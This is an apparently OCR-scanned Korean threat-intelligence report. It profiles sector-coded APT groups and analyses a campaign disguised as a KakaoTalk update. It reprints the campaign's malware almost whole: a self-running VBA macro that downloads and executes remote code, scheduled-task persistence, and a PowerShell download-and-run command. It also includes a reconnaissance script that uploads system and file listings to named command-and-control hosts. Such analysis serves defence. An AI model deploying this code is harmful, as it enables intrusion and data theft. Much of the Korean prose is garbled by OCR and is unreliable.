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o

NAS HE, AR 92 3t S YHGHD Q1Y 5 C2 AH2 HM5Hs 7i5S 23si)

SectorA05 &2 ot=0A 0152 o &30| BAAUCEL o I182 Y7 71, G+4, A&, TS, 3—.&_"_
S| MU SAlE HAKE HYCZE SHS AU 0[52 Sr=0A] Leh HHI O
OH2L EHSI OIS 2Eot| Igt AL|0f Il&(Spear Phishing) O|HUS LS ZEXO= Cf0|CH Z2HIE

(Themida Protect)2 ZEJ HSED Q= AYTEE Soll AAH HOHS HESE &S AEsHT Lt

=
Rl
x
=S
>

>

r>|

SectorA06 I&2 A0, 0=, E=, AYA, 2, SFOIAM 0152 shY S0 LAZULL of IE2 6=
ool O77] 2AM2t ARE MmMAUZ /ST U= HIZZZ|(LNK) FAQ| oFdTFES HZEFICH ZEXNO=Z
AR 272 ZC0f QMTEE AMGH0, ZEE AJABIOIN X|&A(persistence)E QXIGHT WMI(Windows

oo
Management Instrumentation) BE2 A3l A|AH HEE £E6k=E 7552 ™SI

SectorA07 12 ¢H=E0IM 0|52 ol &30| LHCUCt siY I52 ASsH 7|Y Oln=z S MS
IE(Word) AHTES HIEFHOM, 2fo|X0l VBA AJZTET} HatE HESl(Template) LIYS CIRZE HIO}f
A3ok= HES QHM(Template Injection) 7|#E ARSI XEXQ= VBA ATFZENA WMI(Windows
ZOE 0|12, YEQI MHEE #X6{ CoAHZ

rx

Management Instrumentation) HH2 ARl OSHZM

H&ol=s Jiss el

S| A& RISEl= SectorA oid 1ES2 o=t e x|, 2 &5 5§ % &34 #E 18
HEE +o7| flot SMS 7HKIH ™ MAS L2 of STHQI MH=te| LS flot ol &5 Hlot!
UL 0= oid =H2 7120 2 XSELL AL

=y
mett,

—

rlo

XIAHOR ZIshe 2O

HU




MO0 CHQIE!

2) SectorB 118 &S5 E

(e}

ol

SectorB 15= & O|H 10&€0= & 571 oiid 282 &30| HACJUCH, 0|52 SectorBO1, SectorBO3,

SectorB04, SectorB22, SectorBb58 Z1£0|LC}.

SectorBO1 &2 0Ol=, A2|E70M 0|59 oid 30| HAZUCL ofF 152 T 71 AKX
[HAoZ EEHIA(Dropbox), 712 E210|2(Google Drive) 59| 22tRE AEZ|X|(Cloud storage)S &5
ISO O|O|X| M §Alo| SFMTCE HHHSIQICE. HA T2IMOZ b DLL MUS ZC F Adlisk= DLL
AMOIE ZY(DLL Side Loading) Al Aol zEHo=Z 7|2Z(Keylogging), &I ZHX(Screen

Capture), Y P2 2 CIRZC 50| 7|58 $FHSICL

—_

u{n
n

SectorB03 182 012, 53, HIEY, £, 2=, LHILI0L, OIZUIDI2AS0IN 0159 S BZ0| WALIHCE
Sy D82 HE JIM, WAL, 92 202 NAHS 0D IAS AUGIACL Logh) FOUHS oS I
URC, CIRZES EES LSt 7i52 71 ® #(Web Shell2 RZC5H0) 27| HZ Mot ALK

ZISHoz AFE AMAHSE S ZELEHZGHH YEE +8otl AL MOES ZF(ei

|->I

ne

SectorBO4 IF2 Ol &30M Logd) FAE FAES ASdH X7| T2 HeE UL O
[ (PowerShell) BYCE F7t APTES ALY LHR0| 48 H JYAZICH, FLUE AE20|3(Cobalt
Strike), YUMZl(Impacket) S EHES 34 TN AL =E

UBBIGI0] AIAE 292 Halish| It SXOR EAEL)

—_

1
2
rl'U
0x
o
2
mjn
>
00
ol

o
50 g

SectorB22 &2 FOHIOIM 0159 ofid &30 UHEICE ofid 12 ¥F T AddZ=
HIZ717|(LNK) M| DiuS SPH HHERCE. ZH AS 5717| 2fsh 0177 2ME 20, 25Xz AUFE
MARE Al ZELEZ6HH JEE ot AMA” HU{HS EFlols TEs ASold UL

SectorBE8 IS £3, A% T2 XXM OIS0 Sy S0| WARIUCE oY IS FRY A4 UIF
FHRLEOIN YSol= QIBSS 37 UNOR AUOH, YT20I2 HelEl UIOCHA-Qaide) ZAN 1S
FHIZ st ICR0|E QNTCE AISHCE ATXOR2 UHE ADERS| SMS, H2UF, 53t 712 U 7

=

Me SO/ WY 2HS NSy

S| XI&El= SectorB oY 1532 oliid &3 SX2 W MAIE HYC=2 2= Y] 7129l EXl, 2l

U5 S Y2 Y5 VR 13 YES P

3) SectorC 1 &35 EXH

A0 HEO| XS #= SectorC &S 5 O/ 108 & 274 sy 189 0] UAH|AUOMH,

futor
ol



o
>
0H
0
AT
it

0|S=2SectorC01, SectorC08_1E0|C}.

=20

SectorCO1 152 =%, E7|, Of=, O[FZ(0f, S=HZ|0HM 0|59 &S0 TAERAC. oy I&2

OECD(Organization for Economic Co-operation and Development) 29| £ QHHAFSI0| CHEH EA 2
QRS MS IHIE(PowerPoint) LMHTICE AIMOM, FBSHOZ F AA A X =70

HMO|0(Empire)E ALZSI0] AL KIS Al=3UCL.

SectorC08 1E2 ?32{0|Lf, =€, HWtFA, HAO[0A O0lF2| &S0| TAZIUCL oy IE2 2IAI0tet
fI0|Lte] HE JIE 2MEZ e AdHIEE MERCH, FBXoz EA Mo =R =Eff
VNC(UltraVNC)2 At2otH MHEEZFIE AL

SIWIIK| X|&&l= SectorC o IES9| o a2 ol al
yo JjEe) M|, om BS S WY ¥S DA 13 HeE 4P| YEt 2302 BaEr
4) SectorD 1§ &5 EX
SectorD IES 5 O/ 1020 & 17} 82 152 BE0| WAHAOH, Of= SectorD11220[Ct

SectorD11 &2 O, SI0IM 0|59 &30| HAUCL iy IE2 HY 7IME MSdk= MOIEZ
fiet oY MOIES Salf AEZ0|E APTEE REJCH, SMS HE, A, S8t =5 5 54 e Z=

SRS A=

Of gtiok= 2l = =759 FX|, 2w &5 S 8% &3

5) SectorE 1§ &3 EF
SectorE 1SE £ 0|t 102€0l= £ 47Y s 129 &=0| WUAHEQUOH, 0|SL SectorE01, SectorE02,
SectorE04, SectorE05 1Z0|C}.

SectorE01 1&2 ZZAOIM 0152 oid &30 AZUCL siE 12 MS HE=E(Word) 49| ZMH

BHL_ —o— =

otMACE HYRHCE AMIAELE IBAN(International Bank Account Number) 22 2 MEHE, AMAMZ

HoL—1

%%m LoD, ofojxiol VBA AJZET} E3tE HZ3(Template) TUS CIRRE o A5t HZ3l

7%% s Aoz -E-&.E._'Ef.




MO0 CHQIE!

SectorE02 82 AJIEZ L7 |AEL HIZ2IHA|, =2, T2ANA 0|59 ofZd &z0| UAZJCL Y
J22 MS f¥EWord), MS Mi(Excel), MS IREQIE(PowerPoint), RTF(Rich Text Format) &4l9|

Cldet EMY AGTEE HHEUL EAY AT s 000 A0 22 YS2UTAQ S8, "SSHEOIAL

0

| 23, I0|E(Kashmin)” & 34 M9 S0IE B + U= HZL= O|’“’f0=| s RIS
FBHMOZ C2 MHOIM FIF MAUS CIREE Y & A7 ALY HOjHS ZFcke TS AEdt ATt
SectorE04 182 II7|AE, AZR7L F=, E30IM 0152 i &30| LA=UC) siE 152 ALH7t
HHT |HOM UESE SOUE QE MK F5, A7 £ YA ZM=Z S MS {E(Word) EME HHEIHCE
HIZ3 Q™ M(Template Injection) 7|#H2 AIESH= MS $E=(Word) 2AMIEE 2Z(Macro)?t Z&H=
OLE(Object Linking and Embedding) 7HMIE C2 MHOIA F7I2 ROIRM, 324 &S £0|7| 25 C2
MEO| Ar8dh= MR 4 OIS 2 A/ RARGHA A8sh= E2E 7HX|D QT

SectorE05 1§22 L7 |AEfA 0|59 30| LAZIUCE. aiE 152 CHM(Compiled HTML Help) &4l9|
OIMTCE A0 AE3HOH, M7 |AE MTIE(Gwadar)2l STM(IH |AEH BIMRAK) T2HE| CiSH HSOZ
RS ULt HBXOZ AAE20| S=510 ZH= AJAHIAN X|EH(Persistence)2 {X[6tL], =L

Lo A

RECEIE AEall C2 MHZ HRE O0IF1 ALEA 0152 20| H&oks 7IsE sttt

==

SR XI&El= SectorE oid 1ES2| oid & X2 QIEet Oi7|AE YRt HHE HX|, 2u

al
= 1= =~
2 1 HEE STeP| Pl BX0Z oY BSS +Hsls 2oz BAEC. T8
A
=

[
I
0
HT
mun
mjo
Lo
dn
Ol
N
do
rot
mﬂ"
=
O
H1
M
>~
I-J
F|_|' ]
s
|o
HU
Ao 3
1=
rn
o

6) SectorG 1E g5 EX

SectorG IE= & OIH 10€0= 1719 ofid 152 &30| LHERACH, Ol= SectorGO3 ZFO|Ct.

SectorG03 &2 O|AZIA0IN ES0| YAZULE. SHY IE IT(Information Technology), AX|LIOIH,
HE, ARUAOMM, Y & OAE, 0|00, FF 713 S CiYst 20IE HYez Ol & (Custom)

OIMTCOL 2 HHESI0 NME EfE| Q2 5iICt.

SectorG 37 IBS2 X2 AN ZY W0 Y= WISS HKOE Y BSS Susigion], 230
SectorG 3 IESC| i BE SHS 2z MO HLishs 012 E= 27150 Yx

3 Mg 2= 02 SAMEC)

fo
El

fo

il
on
ox
4



lm

b |
©

m

7) SectorH 18 =%

SectorH &= & OIH 10&0l= & 174 oiE 1F°| &30| HALIJUCH, 0|52 SectorHO1 IFO|C.

#l(PowerShell)

SectorHO1 1E2 b=, AH, O|Z2(0f, A{H|O[7I0{A &350| UAUCt. oid 152 T
£ ol

otMACE QI5I0] 7|22(Keylogging), 3t ZHX{(Screen Capture) SO XE EHF| 39|
SectorH oliid 1E2| oid &322 AMO|H HZ| ZX9| szt R X X9 iy 5= YAt £9|,
QIFor Q=R O3] 71X| QX OFEO| AlLELD U0, =X0] Mt QI MY 7|29 FA & FX| &3 15
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0|2 SectorJ03, SectorJ06, SectorJ09, SectorJ25, SectorJ4b, SectorJ53, SectorJ64, SectorJ66,
SectorJ68 1Z0|Ct.

0|52 L2 R A& ofid 1ES0 U=A oE MAUA 28K 0|22 &2 = U= M 71Xt U=

2ol 2SS FFAU, HPHOZ EF T|Y A XXSS oY of = WR HEHI0 HHACE

I HT— = O =
QESPILL, B2 A JILS S 3 0|2 Y02 BHY WIS 275l S U 52 U

SectorJO3152| 52 To|AEQl, 2, O2tT0A HAZUL oIy 52 AEZ0|E SHES U=

=

ot AYFES ALESI0] SMS FE, A, 83t =5 S Loikte] EE RS A=

SectorJO61E°| &#E2 ﬁﬂilﬂ, E2EZ TJd|A, HAOf 320|L, =, B7|, B0, F=, 0=, Of=H|L
Of, Hald, X2, WA, LT 00|, HF, QI O|A2{M, OF O0|2|E, ALRL| Of2tH[Of, 2|50fL|of, 0]2tF, &
=ct, SkHf, S0l tlrqu|CH C}. st 122 2I=210|2(OneDrive)2| DLL(Dynamic Library Link) AO|EZ
(Side—loading) FUFS 0|EHCM, ZFHOE ASSIWE AM25k= EEXAH(Cryptojacken)S AFSZILL.
SectorJ091E2 ¥ AOIEN| H4=3} =l AF|AU(Skimming) ATZEES AQIGI0, ZX| HO[X|OA AMRXHH
AE Rl ACE O|H SHSHME

Fa, 0|, HelHslt MEIIE XE & 52 +toks 7IES| oid &4l
E

o
7120 UAE 0t RARSH RO MHIAIEE AT} QI

SectorJ25180| BES £, UZ, AL AZIEIOIN UHEQIC) Y 182 ZASE U O
S2S YO USSHE ABols IPEMH(Cryptojacken)S AISHCL.
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SectorJ451E2| &2 HEEE, AYH, o, =, DA L-=29||0], Ei=, Y=, A7, A0 LAZIRIC
oie 152 X|2o| S=F QIEYl UAEZ2(Internet Explorer) AH|IA O|2XIESS 34 HNOZE AT AMHIAS
oE5k= HHEO[E(Malvertising) 7[2E AFBZIOH, ZIEMO= A|ARIC| HHE ESIT USSHHE AMZFHCL

SectorJ53150] ESS JHLICH, 0[=k2lof, O KDJZIE, 012, O[, B2, £, E7), AT, B2, 0jAzfY,
oA, HOMIRL, B2, 512, A0}, XIZSE, H0lE, T2EZ, OE|Q0L, TECIL0Z, FIRBAL, 55,

—_

A, THEL U, OIZHEILY, SRS, WAELIOL LIZRME, SO0, ISXOL &Pk, S7t2l0f B,
7101, OJ24, JIELS, HAIZ, J21A, AHRI UASICL Sig ISS 4% B2 YR 1Y opTcS
AEOH, FBHMOZ [RZH AMIACE 25l 5 JYUE AERI0|F(Cobalt Strike) L=

£2|H(Sliver) 22 HF HAE =75 UR2C H 4AT = Qs LTS OFRECL

SectorJ641E2| ES2 =, AYH, F=FOIM LAZUCEL SiF 252 FUT| FYHSH MHES 34
[HMOE MUCH, ZBXHOZE USSHH =S AT},

SectorJ661E2| &2 HIEH, éﬂil‘?_', T2EZE 2A0f, S, JHLICE ME, Y=, Za, B7], 232{0|Lt,
Hep, 2, o, O|gzZ/of, &3, FOLIOL, SEH[0f, F=, Hulsat, ZZA, EUX|, =, O0=0M
UAZQICE SiE D82 XREA Lol S Y £+ JTE HEYI QZ2HE HMSsk=
BPH(Bulletproof hosting) AHIAZS O|&3tC}.
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B BHIQBHO| FPIOE U FPIR MHIASO| F2 7552 4Y £ BASIE/D 0L PCHO)
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MotLl, ‘kakaocop.com’ FAF EHIQIE HIEE Al7| SEE(O, £ HE HE S0 ASHS A= FYEHLCL
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3. 944 Il X XAk
‘KakaoTalk_Update.zip’ T2 KX YA| Of2i2t 22 FAOM CHREEIL AEEUCH, LY AlZt 0|20=
H&0| SHE AEHO|CY.

https://mailcorp.center/download/?un=(0|H|&! O}0|C[)&filena=KakaoTalk_Update.zip

‘mailcorp.center EM|QI2 27.255.81.115° Sk OO|O|Z2 HZE O0]|20] Z=Xot!, ‘kakao.com.co,

‘daum.net.in’ EMH|QI S0| Passive DNS FAZ AL2EHCY

N2 CE21 242 AZ0M HE Z2Z0| 3= 7|20| =XH5I1, ‘naverfiles.com’ EHQIS ‘27.255.79.225

St=[KR] Of0|L|Z HAZAKCY.

— https://naverfiles.com/download/?un=(0|H|&! O0}0|C|)&filena=KakaoTalkUpdate.zip
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‘KakaoTalk_Update.exe’ HE2 & 37IX|7t QIEICY.

KakaoTalk_Update.exe
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- b97301add70d26fddf4f30f0adf18b5f
- 0184b0f6403420f7134a3e4a37498754
- 2a99e872d21af640aaaed4ed68f5ede”
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MM E|= Z|PIY

add esp,
cﬁ!‘l kaksoralkupdare, 13C69ES
€

W &Cx, 3ES AEMIL"RALT
idiv eck t

52 push edx edx
E8 BSOEQDDO €A1 kakaotalkupdate. LICEHES
99 cdg
B9 ES0XOHO00 WOV eCK, I ecx:L"htops:/foffice-do o 1AL 544
FTFS Tdiv ecx ECMILThTCps: ot f LTI ELEET: 1
52 push adx il arslyp
SD5424 04030000 | lea adx,dword pTr =i 04
52 push &dx [1-F 4 [ pu [= il [
68 F0IDI00Y push kak 43 | o 30205 EX-E ] P
09424 14050000 (lea rd-u,{!nuru p.,r ssi1lfes 13
EE FEQGIO00 a1l kaxactalkupdate, 1!&'.6:#‘!:
E;Cf IU‘ Sﬂgh-‘“.: :
TOMI00L u Ak spdaT 13020 d
EE1S Z4FQICO] EAN dword nc" ds -:&Lna.d:ubrar-wa-;
830 TEST &AW, &8k
OFE4 6TO10000 ¢ kakaotalkupdate. 13C5CCF
SDBC24 BADZOOOD | 1ea ecx,dword pTr ss:fespr2E4]
51 push ecx e Q ' 43791 . CO chp7a ey 5
50 puUsh eax
12|10 40| O|RX|H, ‘normal.x’ TIABEOZ QUE{H UAIZTI0f LOX|L!, Public ZZ0i| HESH 62| =At=
THE ZIP M2 MMEC.
oiid &5 LY LHFOI= ‘srms.dat’ IHUO0| ESIE0 R, LFMY 7|E DMb= 2022 108 17 2F 24|
53=0|Ct.
324 O|H|Y0] 20224 108 17 2% 2A| 05221 At 162RH 34 FE0| U= A= = I TREE
OfU0| XEXMOZ HACH= NS Ofdoll & = UKL O VF MU 108 16% 2H0]| 2ARI}S T 0|0
17URZ ANE SUSH IA0| QEET UW| R0 ARIS Yol XXE 2402 SHOIEICY,
[TJ2 5] MHE ZIP MY L} ‘srms.dat’ DY
B s20205zip =T |
File  Commands Tools Favorites: Options Help
— >
2 D e @
= o N
Add Extract To Test Wiew Drelete Flnd Wizard Info
1 8 =s0205zip - ZIP archive, unpacked size 174,850,048 bytes -
Mame Size Type Modified
= ote =0
__|srms.dat 174,850,048 DAT It 2022-10-17 @ F 253
« 1 | 2
(- T Total 174,850,048 bytes in 1 file
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‘srms.dat’ U2 32H|E DLL OfU=Z SHEAIZE 71F 2022 102 16 EQY 25 1A 43201 LEEUT,
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CMD HHE Edll &=0| sHMIEl ‘srms.dat’ II0| Run QXIZICE AJHE|T ‘KakaoTalk_Update.exe’
A

Cmd.exe /C rundll32.exe “C:\Users\Public\srms.dat” Run
Cmd.exe /C timeout /t 5 /nobreak & Del /f /q “C:\A&iAZ\KakaoTalk_Update.exe”

‘srms.dat’” IIY2 M2 HIGH6H| 2I6H Themida T2 IO Z THZE|| AL, ‘C:\Users\Public\(ZHE 6X}2]
2At ZH) Z200| ‘tapi32.dil 0122 ANIAS 72 MASICE
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Rundll32.exe “C:\Users\Public\(#= 6X2| =Xt ZO)\

tapi32.dIl”, Start

Cmd.exe /C timeout /t 5 /nobreak & Del /f /q “C:\Users\Public\srms.dat”
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O00Z430 &= 0D &4 00 &c Q0 & OO0 33 00 32 00
0G00Z440 T4 00 €5 00 20 A0 22 00 25 00 T3 0
0000Z450 52 00 75 00 &e OO0 OO0 OO &9 S= TE €1
D000Z4E0 T3 T4 T2 &9 & €T 20 T &L TI &2 T4

Set WshShell
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eriMain'” :HW=hShe
Ll.RegWroice i e
g & "DisableFirs
tRunCustemize™, 1
» TREG DWORD™:Ws
hShell .BegWrice

i reg & “Check R
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“s "EEG_SIT:WshS
heLJ run btIxt,

Q.

cmd.exe /c rundll32.exe "'C:\users\publ

ic\(H= 6X12| =X 20 \tapi32.dl"™",Run":i_reg="HKCU\Software\Microsoft\Internet Explorer\Main

\":WshShell.RegWrite i_reg & "DisableFirstRunCustomi

i_reg & "Check_Associations","no",

J2|3 ‘officetemplate.vbs’ MAUS XSOZ  Adlo}|

ze",1, "REG_DWORD":WshShell.RegWrite

"REG_SZ":WshShell.run btTxt, 0, false

QI MIKIAEZ| AlRZZJ2M(StartUp) HERE

‘%USERPROFILE%\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup’ i A{

‘C:\ProgramData\Startup’ {|X|2 HZSIC}.

MM 2GX|KZH AIRME TotCt ‘officetemplate.vbs’ IHUO|
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- http://www.mechapia.com/_admin/nicerinm/web/style/css/list.php?query=1

- http://www.mechapia.com/_admin/nicerlnm/web/style/css/tmp?q=6

HIWSHH T+gdt 20| ‘normal.x’ LUZ HX|== 1FY0| S As & 5 UL
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11,129,421

HTTP/1,1 200 Ok,
Cache
Cache-Control: no-cache, must-revalidate
Date: Mon, 17 Oct 2022 04:56:56 GMT
Entity
Content-Disposition: attachment; filename " normal . x"
ContentLength: 11129421
Content-Transfer-Encoding: binary
Content-Type: applicationjoctet-stream
Miscellaneous
Accept-Ranges: bytes
Server: Apache/2.4.41 {(Ubuntu)
Transport
Connection: Keep-alive
Keep-Alive: timeout=5, max=100

HTTF www.mechapia.com /_admin/nicerinmjfweb/style/css ftmpfg=a 336
HTTF |www.med'|apia.cnm /_admin/nicerinm fweb/style fcss ftmp fg=6 18,015 |

HTTP/1.1 200 OK
Cache
Cache-Control: no-tache, must-revalidate
Date: Fri, 12 Mar 2021 12:13:08 GMT
Entity
Content-Disposition: attachment; filenamel"normal, x*
ContentLength: 18015
Content-Transfer-Encoding: binary
Content-Type: applicationfoctet-stream
Miscellaneous
Accept-Ranges: bytes
Server; Apache
Transport
Connection: dose
Keep-alive: timeout=5, max=100
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Attribute VB_Name = "ThisDocument”

Attribute VB_Base = "1Normal.ThisDocument"

Attribute VB_GlobalNameSpace = False

Attribute VB_Creatable = False

Attribute VB_Predeclaredld = True

Attribute VB_Exposed = True

Attribute VB_TemplateDerived = True

Attribute VB_Customizable = True

Sub Weed(p)
Application.ActiveWindow.View.Type = wdPrintView
Set wnd = ActiveDocument
wnd.Unprotect p

End Sub

Sub Reserve(pth)
hs = "or Resume Next:Se"
ent = "ct(""Microso"
Documents.Add
hs = "On Err" & hs & "t mx = Cre"
md = "LHTTP"):mx.op"

md = "ftXM" & md & "en "'GE"
cnt = hs & "ateObje" & cnt & md
hs = "T", "htt"

md = hs & "p:/"

Set ad = ActiveDocument
URI = "complletely.mypressonline.com/file/upload”
md = md & "/* & URI
ts = "p?query=1", False:mx.Sen"
ent = cnt & md & "/listph" & ts & "d:Ex"
hs = "te(mx.respons"
ent = ent & "ecu” & hs
ent = cnt & "eText)"
ad.Range.Text = cnt
fval = wdFormatText
ad.SaveAs2 FileName:=pth, FileFormat:=fval
ad.Close
End Sub

Sub Review(vmod)
On Error Resume Next
Set wnd = ActiveWindow
Set sel = Selection
wnd.View.SeekView = vmod
rval = False
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sel.WholeStory

hm = False

sel.Font.Hidden = hm

rval = True

If rval = True Then
sel.Collapse

End If

End Sub

Sub ViewContent()
Mode = 10
Do Until Mode € 0
Review (Mode)
Mode = Mode - 1
Loop
End Sub

Sub AutoOpen()
On Error Resume Next
sd = "32_pr"
obt = "mgmts"
pw = "1gaz2wsx’

hk = "win"

obt = hk & obt & "" & hk
Weed pw

pt = "ocess’

obt = obt & sd & pt

Set adom = ActiveDocument

ins = "w'

ts = "xe //e:b"

With adom.Shapes('pic")
cd="//b"
.Fill.Solid
mt = "script”
Set wm = GetObject(obt)
ts = ts & mt
ins = ins & mt & ".¢"
pth = Templates(1).Path & "\version.ini"
cd = ins & ts & cd
.Delete

End With

ViewContent

Reserve pth

wm.Create cd & pth

adom.Save

End Sub
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On Error Resume Next:Set mx = CreateObject('Microsoft XMLHTTP"):mx.open "GET", "http://compllet
ely.mypressonline.com/file/upload/list.php?query=1", False:mx.Send:Execute(mx.responseText)

©
A HAZ “http://complletely.mypressonline.com/file/upload/list.php?query=1" AHHZ SAI0| RIRHE[1T

‘http://complletely.mypressonline.com/file/upload/list.php?query=6" FAE 2|},

0| &dff dwH 2 +8 H AHEH S5, dXAED] S5 5= oM =L

Sub WMProc(p_cmd)
set wm = GetObject("winmgmts:win32_process")
set ows = GetObject("winmgmts:\root\cimv2")
set ost = ows.Get("Win32_ProcessStartup”)
set oconf = ost.Spawnlnstance_
oconf.ShowWindow = 12
errReturn = wm.Create(p_cmd, Null, oconf, pid)
End Sub

Function TF(p_t)
cSe = "0" & Second(p_t)
cMi = "0" & Minute(p_t)
cH = "0" & Hour(p_t)
cD = "0" & Day(p_t)
cMo = "0" & Month(p_t)
cY = Year(p_t)
tt = Right(cH, 2) & "" & Right(cMi, 2) & ":" & Right(cSe, 2)
dd = cY & "-" & Right(cMo, 2) & "-" & Right(cD, 2)
TF =dd & 'T" & tt
End Function

Sub Reg(p_Tar)

Set sv = CreateObject("Schedule.Service")

Call sv.Connect()

Set tDef = sv.NewTask(0)

tDef.RegistrationInfo.Author = "Microsoft”

With tDef.Settings
.Enabled=True
StartWhenAvailable=True
.Hidden=True

End With

With tDef.Triggers.Create(2)
.StartBoundary = TF(DateAdd('n",5,Now))
.Enabled = True

d5
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.Repetition.Interval = "PT6OM"

End With

with tDef.Actions.Create(0)
.Path=WScript.FullName
Arguments="//b //e:vbscript " & p_Tar

End With

Set fdr = sv.GetFolder("\")

Call fdr.RegisterTaskDefinition(nn, tDef, 6, , , 3)

End Sub

Sub Set|EState()
Const hk = &H80000001
regdir = "Software\Microsoft\Internet Explorer\Main"
With GetObject("winmgmts:\root\default:StdRegProv")
SetStringValue hk, regdir, "Check_Associations", "no"
SetDwordValue hk, regdir, "DisableFirstRunCustomize”, 1
.SetDwordValue hk, "Software\Microsoft\Edge\IEToEdge", "RedirectionMode", 0
End With
End Sub

uri = "http://complletely.mypressonline.com/file/upload”

ct = Now

fn_suf = Minute(ct) & "_" & Hour(ct) & "_" & Day(ct) & Month(ct) & ".xml"

set osa_ns = CreateObject("Shell. Application").NameSpace(21)

res_path = osa_ns.Self.Path & "\OfficeAppManifest_v" & fn_suf

res_content = "On Error Resume Next:With CreateObject("InternetExplorer.Application™):.Navigate "
" & uri & "/list.php?query=6"":Do while .busy:WScript.Sleep 100:Loop:bt=.Document.Body.InnerTex
t-.Quit:End With:Execute(bt)"

Set fso = CreateObject("Scripting.Filesystemobject”)

set fp = fso.OpenTextFile(res_path, 2, True)

fp.write res_content

fp.close

Reg res_path

Setl|EState

pow_cmd = "cmd /c powershell —command "iex (wget xxx/lib.php?idx=1).content; GetInfo —ur 'xxx’;
pow_cmd = Replace(pow_cmd, "xxx", uri)

WMProc(pow_cmd)

C2OZ ‘http://complletely.mypressonline.com/file/upload/lib.php?idx=1" F4L}t ‘http://complletely.my

pressonline.com/file/upload/lib.php?idx=5" S0| S=E|1, 2E AREH FEHE SE6 C22 RF2 S| =L



Function Getlnfo {
Param (
[string] $ur
)

$Script:webRegUpload = $null;
$Script:boundary = "";
$Script:upURL = $ur;

Function InitWebRegSessions {
$Script:webRegUpload = New-Object Microsoft.PowerShell. Commands.WebRequestSession;
$Script:webReqUpload.UserAgent = "Mozilla/5.0 (Windows NT 10.x; Win64; x64) AppleWe
bKit/537.36 (KHTML, like Gecko) Chremo/87.0.4280.141 Safari/537.36 Edgo/87.0.664.75";

$boundaryHex = New-Object byte[] 10;
for( $ii = 0 ; $ii -1t 10 ; $ii ++) {
$boundaryHex[$ii] = Get-Random -Minimum 0 -Maximum 255;

}

$Script:boundary = "-——-" + [Convert]::ToBase64String($boundaryHex);

$Script:webReqUpload.Headers.Add("Content-Type", "multipart/form-data; boundary=$Scrip
t:boundary");

}

Function PostUpData {
param(
[String] $Name,
[String] $Data
)

$enc_UTF8 = New—-Object System.Text.UTF8Encoding;
$dataBytes = $enc_UTF8.GetBytes($Data);
$postString = [Convert]::ToBase64String($dataBytes, [Base64FormattingOptions]::InsertLine
Breaks);
if( $postString —ne $null )
{
$conDisp = "--$Script:boundary'r'nContent-Disposition: form-data; name=";
$postData = "$conDisp"MAX_FILE_SIZE™r'n'r'n";
$postData += "1000000'r'n";
$postData += "$conDisp “file™; filename="";
$postData += $Name + ""r'n";
$postData += "Content-Type: text/plain'r'n'r'n";
$postData += "$postString'r'n——$Script:boundary—";

$url = "$Script:upURL/show.php";

37
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$response = Invoke-WebRequest —Uri $url “WebSession $Script:webReqUpload —Met
hod Post -Body $postData;
1
1

Function ArrayToString {
param(
[System.Array] $arr
)

$ret_str = ™
Foreach( $it in $arr ) {
$ret_str += "$it'r'n";

}

return $ret_str;

}

Function ListDir {
param(
[String] $Path
)

$res = ™
try {
if( Test-Path $Path ) {
$dirlnfo = New-Object System.lO.Directorylnfo $Path;
$dir_list = $dirlnfo.GetDirectories();
$file_list = $dirlnfo.GetFiles();

foreach( $dir in $dir_list ) {
$name = "[" + $dir.Name + "
$info = {0, -60Y't{1}" —f $name, $dir.LastWriteTime;
$res += "$info'r'n";

}

foreach( $file in $file_list ) {
$size = ($file.Length —shr 10) + (($file.Length —band Ox3FF) -ne 0);
$info = "{0, -0} 't{1}'t{2, 20}KB'r'n" —f $file.name, $file.LastWriteTime, $size.T
oString("#,#", [System.Globalization.Culturelnfo]::InvariantCulture);
$res += Sinfo;
}
}
} catch {
}
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$res += "r'n'r'n";
return $res;

}

Function ListDrives {
$res = " @
try {

$drv_list = [System.|O.Drivelnfo]::GetDrives();
foreach( $drv in $drv_list ) {
if( $drv.IsReady ) {
$info = "I [{0F {1H] ({23, {3 KLLLLLLLLLLLLLLKKL ' r'n® =f $drv.Vol
umelabel, $drv.Name, $drv.DriveType, $drv.DriveFormat;
$res += $info;
$res += ListDir —Path $drv.Name;
}
}
} catch {
}
return $res;

}

InitWebRegSessions;
$sysinfo = Systeminfo; $sysinfo = ArrayToString($sysinfo);
$taskList_v = tasklist; $taskList_v = ArrayToString($taskList_v);
$taskList_svc = tasklist /svc; $taskList_sve = ArrayToString($taskList_svc);
$firewall_st = Netsh Advfirewall show allprofiles; $firewall_st = ArrayToString($firewall_st);
$status = Get-WmiObject ~NameSpace "ROOT\SecurityCenter" —class "AntiVirusProduct";
$av_soft = "
if( $status —ne $null ) {
$av_soft = $status.GetText([System.Management.TextFormat]::Mof);
}

$status = Get-WmiObject ~NameSpace "ROOT\SecurityCenter2" —class "AntiVirusProduct";
$av_soft2 = "
if( $status —ne $null ) {
$av_soft2 = $status.GetText([System.Management. TextFormat]::Mof);
}

$upData = "MWIMIIIINY System {LLLLLLLLKL ' nSsysInfo' r' n' r' )y Task Detail (<
LKL n$taskList_v'r'n'r'n®;

$upData += "W Task Service (LLLLLLKLKL r n$taskList_sve'r'n' i mIIIIIN)) Firewal
| Status (LKL nS$firewall_st'r'n'r'n';

$upData += "IN AntiVirus (LKL ' n$av_soft'r'n$av_soft2'r'n'r'n";

$user_dir = $enviuserprofile;
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$appdata = $env:APPDATA;
$path_list = @("$user_dir\Desktop", "$user_dir\Documents", "$user_dir\Downloads", "$appdata
\Microsoft\Windows\Recent", "$appdata\Microsoft\Windows\Start Menu\Programs", $env:ProgramFi
les, ${env:ProgramFiles(x86)});
foreach( $path in $path_list ) {
$upData += "IN $Path (LKL rn'r'n™
$upData += ListDir —Path $path;
}

$upData += ListDrives;

PostUpData —Name "info" —Data $upData;

Sub WMProc(p_cmd)
set wm = GetObject("winmgmts:win32_process")
set ows = GetObject("winmgmts:\root\cimv2")
set ost = ows.Get("Win32_ProcessStartup”)
set oconf = ost.Spawnlnstance_
oconf.ShowWindow = 12
errReturn = wm.Create(p_cmd, Null, oconf, pid)
End Sub

uri = "http://complletely.mypressonline.com/file/upload"”

pow_cmd = "cmd /c powershell ~command "iex (wget xxx/lib.php?idx=5).content; InfoKey -ur x’xxx
pow_cmd = Replace(pow_cmd, "xxx", uri)

WMProc(pow_cmd)
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6) https://www.grandviewresearch.com/industry—analysis/cyber-security-market
7) https://www.isc2.org/Research/Workforce—Study
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@ 0|22 O|Z22YEZ7|SHTZRI(NIST)| National Initiative for Cybersecurity Education (NICE)= NICE
Cybersecurity Workforce Framework(NCWF)90|A HOF 0124 HZkY| TQSH AIO|HEQH W &3 Ol

WO et 7|=S OF3tisUC.

